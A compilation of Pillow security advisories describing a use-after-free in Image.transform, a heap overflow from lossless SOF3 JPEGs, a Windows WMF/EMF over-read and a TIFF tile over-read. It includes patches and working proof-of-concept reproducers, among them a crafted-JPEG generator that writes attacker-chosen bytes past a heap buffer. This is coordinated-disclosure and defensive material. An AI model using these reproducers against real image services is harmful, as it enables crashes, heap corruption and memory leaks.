Applications that let a user choose the output size of Image.transform() — Transform.EXTENT (crop-and-scale), Transform.AFFINE with a pure scale/translate matrix, or the ImageTransform.ExtentTransform/AffineTransform helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the MemoryError the API is meant to raise. resize(), thumbnail() and rotate() do not reach this path; Image.resize(..., NEAREST, box=...) goes through ImagingScaleAffine() but owns its output, and raises a clean MemoryError. The second precondition is that the output image itself allocates but the extra 4 × width bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (ulimit -v, uwsgi --limit-as, systemd LimitAS=, an in-app setrlimit), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after MemoryError has already been raised and possibly handled. The second ImagingDelete() also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown.

Reproducing

Run repro (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (python3 -c, taking WIDTH as an argument): the child disables core files, sets RLIMIT_AS to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 "L" image, calls src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) with the default NEAREST resampling, prints MemoryError caught if that raises, then runs gc.collect() and prints alive. EXTENT with NEAREST is a pure scale, so the call goes through ImagingScaleAffine(), which callocs a 4 × WIDTH-byte table in addition to the WIDTH-byte output image.

The script runs the child twice:

  • Control: width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless.
  • Attack: width 300 000 000. The 300 MB output image is allocated, but calloc(300000000, 4) (1.2 GB) fails. Pillow correctly raises MemoryError, and the child catches it. But ImagingScaleAffine() has already called ImagingDelete() on the output image it does not own. When the output image is released, it is freed again. The child prints MemoryError caught and then dies with SIGSEGV instead of printing alive.

If the attack child was killed by a signal and gdb is installed, the script runs the attack again under gdb and prints the backtrace. The crash is in free() ← memory_return_block/ImagingDestroyArray (Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← _dealloc (_imaging.c:188). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step.

The last line is BUG when the control exits 0 and the attack prints MemoryError caught and then dies from a signal without printing alive. Otherwise it is OK. With the attached patch applied, the attack prints MemoryError caught, then alive, exits 0, and the script prints OK.

Suggested fix

ImagingScaleAffine() never owns imOut. The attached patch removes the ImagingDelete() at src/libImaging/Geometry.c:866 and makes the one caller that relied on it, _resize() in src/_imaging.c, clean up its own temporary, the same idiom _gaussian_blur()/_unsharp_mask() already use. This also fixes _resize() passing a possible NULL from ImagingNewDirty() into ImagingTransform(), and leaking the temporary on the other ImagingTransform() error returns:

--- a/src/libImaging/Geometry.c
+++ b/src/libImaging/Geometry.c
@@ -863,7 +863,7 @@ ImagingScaleAffine(
     /* malloc check ok, uses calloc for overflow */
     xintab = (int *)calloc(imOut->xsize, sizeof(int));
     if (!xintab) {
-        ImagingDelete(imOut);
+        /* imOut is owned by the caller; don't delete it here */
         return (Imaging)ImagingError_MemoryError();
     }
--- a/src/_imaging.c
+++ b/src/_imaging.c
@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {
         a[5] = box[1];
 
         imOut = ImagingNewDirty(imIn->mode, xsize, ysize);
+        if (!imOut) {
+            return NULL;
+        }
 
-        imOut = ImagingTransform(
-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
-        );
+        if (!ImagingTransform(
+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
+            )) {
+            ImagingDelete(imOut);
+            return NULL;
+        }
     } else {

Every ImagingTransform*() path returns the same imOut on success, so wrapping the original pointer in PyImagingNew() in _resize() is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints OK and Image.resize(..., NEAREST, box=...) under the same limit raises a clean MemoryError.

The patch

Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead

Applies to src/libImaging/Geometry.c at the commit above.

diff --git a/src/_imaging.c b/src/_imaging.c
index 7e9c0e391..ac1873292 100644
--- a/src/_imaging.c
+++ b/src/_imaging.c
@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {
         a[5] = box[1];
 
         imOut = ImagingNewDirty(imIn->mode, xsize, ysize);
+        if (!imOut) {
+            return NULL;
+        }
 
-        imOut = ImagingTransform(
-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
-        );
+        if (!ImagingTransform(
+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1
+            )) {
+            ImagingDelete(imOut);
+            return NULL;
+        }
     } else {
         imOut = ImagingResample(imIn, xsize, ysize, filter, box);
     }
diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c
index 1bf92e26e..2baf000a5 100644
--- a/src/libImaging/Geometry.c
+++ b/src/libImaging/Geometry.c
@@ -863,7 +863,7 @@ ImagingScaleAffine(
     /* malloc check ok, uses calloc for overflow */
     xintab = (int *)calloc(imOut->xsize, sizeof(int));
     if (!xintab) {
-        ImagingDelete(imOut);
+        /* imOut is owned by the caller; don't delete it here */
         return (Imaging)ImagingError_MemoryError();
     }
The reproducer
Reproducer — repro, 2,064 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866):

##### on calloc() failure it ImagingDelete()s imOut, which for Image.transform()
##### is the Imaging struct owned by the live Python output image; that image's

##### _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild.
##### A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB

##### 4*width lookup table fail. Expected: MemoryError, process survives.
import subprocess, sys, textwrap, signal

child = textwrap.dedent('''
    import resource, gc, sys
    from PIL import Image
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)
    w = int(sys.argv[1])
    src = Image.new("L", (8, 8))
    try:
        src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8))
        print("transform ok")
    except MemoryError:
        print("MemoryError caught")
    gc.collect()
    print("alive")
''')

def run(width):
    p = subprocess.run([sys.executable, "-u", "-c", child, str(width)],
                       capture_output=True, text=True, timeout=50)
    print(f"-- width={width}: rc={p.returncode}\n{p.stdout.rstrip()}")
    return p

ctrl = run(50_000_000)      # 50 MB image + 200 MB table fit under the limit
att = run(300_000_000)      # 300 MB image fits, 1.2 GB table does not
bug = (ctrl.returncode == 0 and "MemoryError caught" in att.stdout
       and "alive" not in att.stdout and att.returncode < 0)
if att.returncode < 0:
    print("attack child killed by", signal.Signals(-att.returncode).name)
    import shutil
    if shutil.which("gdb"):   # evidence only; verdict does not depend on it
        g = subprocess.run(["gdb", "-q", "-batch", "-ex", "run", "-ex", "bt 6", "--args",
                            sys.executable, "-c", child, "300000000"],
                           capture_output=True, text=True, timeout=120)
        print("\n".join(l for l in g.stdout.splitlines()
                        if l.startswith("#") or "signal" in l))
print("BUG" if bug else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap buffer overflow in ImagingJpegDecode

BIT-pillow-2026-112403 / CVE-2026-112403 / GHSA-8g5g-8vmr-9782 / PYSEC-2026-4332

More information

Details

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:

docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

##### --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

##### --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py

#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer

class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)

##### Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()

def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows

def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #&#8203;0 __asan_memcpy
    #&#8203;1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #&#8203;2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #&#8203;3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #&#8203;4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #&#8203;5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #&#8203;6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #&#8203;0 calloc
    #&#8203;1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Scope and caveats
  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.
Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy
(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day
disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

BIT-pillow-2026-96644 / CVE-2026-96644 / GHSA-9v9v-9qvf-h2hj / PYSEC-2026-4343

More information

Details

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

  • src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

  • src/display.c:793-794 assign the 16-bit fields
  • src/display.c:800 sizes the allocation from them
  • src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC
import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

##### Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the

##### decompression-bomb check, but the width truncates to 16 bits for the allocation while
##### the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels

BIT-pillow-2026-112404 / CVE-2026-112404 / GHSA-c6hw-5grf-ff96

More information

Details

============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483  in _decodeTile()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.

The bug is in _decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width * 4). They then unpack each row with the unpacker that TiffImagePlugin._setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. _decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.

The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.

The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).

The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← _decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.

Details

_decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width * 4), but unpack each row with the shuffler that TiffImagePlugin._setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width * state->bits / 8 bytes) fits inside the row libtiff wrote. _decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectory_v2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.

The ~400-byte TIFF tile_count2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOC_PERTURB_=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← _decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).

Why the two parsers disagree

libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.

Pillow keeps the first value and carries on:


##### src/PIL/TiffImagePlugin.py:762-770  (ImageFileDirectory_v2._setitem, reached from load())
            try:
                (dest[tag],) = values
            except ValueError:
                # We've got a builtin tag with 1 expected entry
                warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...")
                dest[tag] = values[0]

so _setup() sees photo == 6. OPEN_INFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:


##### src/PIL/TiffImagePlugin.py:1578, 1600-1607
        self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
        …
            if photo == 6:
                self._mode = "RGB"
                if self._compression in "jpeg" and self._planar_configuration == 1:
                    rawmode = "RGB"
                else:
                    rawmode = "RGBX"

RGBX is a 32-bit rawmode, so get_unpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":

// src/libImaging/TiffDecode.c:737-764
    TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric);   // unset -> stays 0
    …
    readAsRGBA = photometric == PHOTOMETRIC_YCBCR;          // 0
    …
        if (TIFFIsTiled(tiff)) {
            _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4
The missing check

_decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds row_byte_size-strided rows to the shuffler:

// src/libImaging/TiffDecode.c:403-487  (_decodeTile)
    tile_bytes_size = TIFFTileSize(tiff);                      // 256
    …
    row_byte_size = TIFFTileRowSize(tiff);                     // 16
    …
    if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
        // 256 > 1024 is false -> no abort
        …
    }
    state->bytes = tile_bytes_size;
    new_data = realloc(state->buffer, state->bytes);           // 256-byte buffer (line 448)
    …
                for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                    shuffler(                                   // copy4: reads current_tile_width*4 = 64 bytes
                        (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                        state->buffer + tile_y * row_byte_size, // from offset 16*tile_y
                        current_tile_width
                    );

Row tile_y is read from [16·tile_y, 16·tile_y + 64); for tile_y = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiff_bits_per_pixel − 1) × row_byte_size bytes, and row_byte_size scales with the attacker-chosen TileWidth.

